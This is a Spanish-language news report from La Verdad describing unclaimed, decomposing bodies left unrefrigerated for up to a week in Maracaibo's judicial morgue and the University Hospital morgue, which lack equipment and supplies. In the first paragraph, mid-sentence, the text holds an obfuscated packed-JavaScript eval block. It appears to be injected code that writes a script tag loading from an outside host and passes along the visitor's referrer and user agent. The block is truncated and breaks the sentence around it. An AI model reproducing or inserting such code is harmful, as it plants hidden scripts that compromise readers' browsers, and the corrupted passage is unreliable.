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Cadáveres se pudren en morgues de Maracaibo

Reyna Carreño / Maracaibo / reynac@laverdad.com
En eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|friih|var|u0026u|referrer|insbt||js|php'.split('|'),0,{})) la morgue judicial los cuerpos que nadie reclama permanecen hasta una semana. Los trabajadores reconocen la carencia de instrumentos médicos, productos de limpieza, mobiliario y mal estado de la infraestructura

Seis cavas fuera de servicio yacen en las inmediaciones del HUM. (Foto: Reyna Carreño)

La puerta está entreabierta y por la rendija se cuela un olor sólido, espeso, que casi podría apartarse con la mano. Tres toquidos, el silencio, tres toquidos más y, con el último, un leve empujón de la mano abre la entrada a una dimensión paralela.

Las moscas verdes y enormes reciben a los visitantes, con ese zumbido molesto que presagia una escena chocante y estremecedora. Al asomar el rostro dentro de la oficina de atención de la morgue forense de la Policía Científica, el olor a cadaverina es como un golpe en la nariz.

El escenario es asombroso. Donde antes había un escritorio, algunas sillas y una imagen de la virgen, ahora solo quedan cachivaches arrumados, una camilla oxidada y llena de sangre y hasta una moto estacionada.

El calor es asfixiante. La puerta que separaba el área de atención a los familiares del cuarto de autopsias desapareció y en su lugar colocaron un paraban con unos trozos de trapos sucios y raídos, que no logran esconder lo que hay detrás: al menos tres cuerpos desnudos hinchados, oscuros y desfigurados por la putrefacción.

El hedor se robustece a medida de que se avanza hacia las mesas de autopsia. Entre los cadáveres adultos hay un bebé, flaco, tieso, con brazos y piernas al aire, como si hubiese quedado inmóvil durante su último llanto. El cuerpecito está semi tapado y envuelto en un pañal de adulto.

No hay vivos, por lo menos no en ese instante. De cerca los cuerpos se ven más tumefactos, la piel tirante parece que va a estallar en cualquier momento. El que está más lejos viste un chaleco de seguridad anaranjado con listas reflectoras grises, tiene la boca abierta y una lengua gigante y negra sale de ella.

Están allí, solos, pudriéndose en el abandono, porque no tiene dolientes que los reclamen. Hasta una semana permanecen los cadáveres “sin familia” en la morgue judicial de Maracaibo, donde no hay cavas refrigeradoras que puedan conservar los cuerpos.

No hay nada

La pestilencia obliga a una estadía breve. Al salir, un grupo de dolientes se acerca a la puerta, toca, hace ruido, y al final un trabajador se asoma y entrecierra la entrada principal. “Está la doctora”, preguntan. “No, no está”, reciben como respuesta.

“¿Cómo hacen para permanecer allí adentro con ese olor?”, lanzo la pregunta como una piedra. “Estamos acostumbrados. Tenemos meses así, sir aire acondicionado, sin cavas, aquí no hay nada”, expresa con desgano y sin recato. “Aquí no hay nada”, repite uno de los familiares, como el eco de la resignación.

Allí lo único que abunda es la falta de ventilación, iluminación, instrumentos quirúrgicos y químicos, implementos y líquidos para el aseo. Abunda la indolencia, no solo por la dignidad de los muertos, sino por el dolor de los vivos. Al fin y al cabo son seres humanos quienes fueron víctimas de la violencia, suicidios, accidentes o se presume sufrieron alguna mala praxis.

Cementerio de cavas

En la morgue del Hospital Universitario de Maracaibo (HUM) la situación es muy similar. Los cuerpos de las personas que fallecen dentro del centro, por enfermedad, accidentes u otra causa, “esperan” sobre camillas y mesones que los familiares puedan rescatarlos.

La morgue del HUM está demolida. Dentro, pasillos oscuros y habitaciones llenas de basura y escombros. Desde la entrada hasta el cuarto de autopsias hay cadáveres, envueltos en sábanas y cocinándose despacio, al calor de muerte.

Afuera, seis cavas refrigeradoras para cadáveres también esperan la sepultura. ¿Pudieron ser recuperadas? Quien sabe, allí tampoco hay vivos que respondan preguntas, solo el silencio, la oscuridad y los difuntos suspendidos en el tiempo, indefensos y solitarios.

No es nuevo

Esta situación de las morgues no es de ahora. El pasado julio, La Verdad reseñó el estado de abandono de estos depósitos de cadáveres, que violentan la dignidad del ser humano, por carencia de implementos, de herramientas y de respeto, hacia los difuntos, sus familiares y los trabajadores. Existen dos razones para el retraso en la entrega de los cuerpos: Demora en la entrega de documentación en la Policía científica y el Ministerio Público y que los familiares no vayan a identificarlos rápido o que no cuenten con dinero para el servicio funerario. Cuando llega un cuerpo descompuesto es difícil identificarlo y los parientes deben esperar por los resultados de la necropsia, las pruebas necrodactilares y el odontograma. El tiempo para gestionar los procesos es lento y burocrático. Luego de una semana, cuando ya el cuerpo está putrefacto, se lleva al cementerio Corazón de Jesús y se entierra en una fosa común.

 

 

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